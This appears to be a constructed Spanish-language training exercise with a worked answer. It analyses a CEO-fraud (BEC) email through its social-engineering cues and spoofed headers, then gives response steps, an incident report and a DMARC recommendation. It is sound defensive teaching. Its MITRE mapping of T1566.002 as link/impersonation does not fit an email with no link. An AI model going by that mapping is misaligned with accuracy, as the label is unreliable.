Contexto: Una empleada de Administración reporta un correo que aparenta ser del gerente general, Marcelo Ríos. Le pide con urgencia una transferencia a un proveedor nuevo y le dice que no lo comente con nadie porque está en una reunión. La empleada no hizo nada todavía y reenvía el correo con sus encabezados completos.

Encabezados del correo:

```
From: "Marcelo Ríos" <m.rios@empresa-ficticia.com>
Reply-To: m.rios.gerencia@gmail.com
Return-Path: <bounce@mailer-77.example-host.net>
Received: from mailer-77.example-host.net (203.0.113.60)
Authentication-Results: mx.empresa-ficticia.com;
  spf=fail (sender IP is 203.0.113.60) smtp.mailfrom=empresa-ficticia.com;
  dkim=none;
  dmarc=fail action=none header.from=empresa-ficticia.com
Subject: Urgente - transferencia confidencial
```

Tarea: determinar si el correo es legítimo y qué hacer.

Análisis

1. Señales de ingeniería social

- Pedido de **secreto** (“no lo comentes con nadie”).
- **Urgencia** en el asunto y en el texto.
- Información escasa: no aclara quién es el proveedor nuevo ni da detalles que un pedido real incluiría.

Estas son las tácticas clásicas de este ataque, conocido como **BEC (Business Email Compromise)** o fraude del CEO.

2. Señales técnicas en los encabezados

- **`From` vs `Reply-To`:** el correo aparenta venir de `m.rios@empresa-ficticia.com`, pero si la empleada responde, la respuesta va a `m.rios.gerencia@gmail.com`, una cuenta ajena a la empresa. Ese desajuste es la señal.

- **`Return-Path` y `Received`:** el mensaje salió de un servidor externo (`mailer-77.example-host.net`, IP `203.0.113.60`) y no de los servidores de correo de la empresa.
- **`Authentication-Results`:**
    - **SPF:** el dominio publica en su DNS la lista de servidores autorizados a enviar correo en su nombre. `spf=fail` indica que la IP de origen no está en esa lista.
    - **DKIM:** es una firma digital que el servidor de origen agrega al mensaje. `dkim=none` indica que no tiene firma, así que no se puede comprobar el origen ni que no fue modificado.
    - **DMARC:** es la política que define qué hacer cuando SPF o DKIM fallan. `dmarc=fail` indica que no pasó la verificación, pero `action=none` significa que la política de la empresa solo monitorea y no bloquea. Por eso el correo llegó a la bandeja de la empleada. Es una debilidad propia de la empresa.

3. Conclusión

El correo no es legítimo: es un intento de fraude por suplantación de remitente (spoofing).

4. Respuesta

1. **Empleada:** indicarle que no responda, no haga la transferencia y no borre el correo, porque es evidencia.
2. **Verificación:** contactar a Marcelo Ríos por otro canal (teléfono o en persona), nunca respondiendo al correo, para confirmar que no lo envió y avisarle que su identidad está siendo suplantada.
3. **Bloqueo** con los datos de los encabezados: la IP `203.0.113.60`, el dominio de origen y el `Reply-To` en el gateway de correo.
4. **Búsqueda del mismo mensaje en los demás buzones** de la empresa y eliminación, porque si lo mandaron a una persona, probablemente lo mandaron a varias.

Informe de incidente

Vector: Correo de BEC (fraude del CEO) con suplantación de remitente. El mensaje aparentaba venir del gerente general (`m.rios@empresa-ficticia.com`) pero salió de un servidor externo (`mailer-77.example-host.net`, IP `203.0.113.60`). Falló SPF, no tenía firma DKIM y falló DMARC. El `Reply-To` apuntaba a un Gmail ajeno a la empresa (`m.rios.gerencia@gmail.com`). Usaba tácticas de ingeniería social: urgencia, pedido de secreto y un proveedor sin identificar.

Impacto: Intento de fraude financiero dirigido a Administración, pidiendo una transferencia a un proveedor nuevo. No hubo pérdida: la empleada lo reportó antes de actuar. El correo llegó a su bandeja porque la política DMARC de la empresa está en `action=none` (solo monitorea).

Remediación aplicada:

- Indicación a la empleada de no responder, no transferir y conservar el correo como evidencia.
- Verificación con Marcelo Ríos por otro canal (teléfono o en persona) y aviso de que su identidad está siendo suplantada.
- Bloqueo en el gateway de correo de la IP `203.0.113.60`, el dominio `example-host.net` y el `Reply-To` `m.rios.gerencia@gmail.com`.
- Búsqueda del mismo mensaje en los demás buzones de la empresa y eliminación.
- Aviso a Administración y Finanzas sobre este tipo de fraude.

Recomendaciones:

- Pasar la política DMARC de `none` a `quarantine` y después a `reject`, para que los correos que falsifican el dominio no lleguen.
- Establecer una regla interna: toda transferencia nueva o urgente se confirma por una llamada, nunca por correo.

Framework de referencia: MITRE ATT&CK, T1566.002 (Phishing: Spearphishing Link/Impersonation) y T1656 (Impersonation).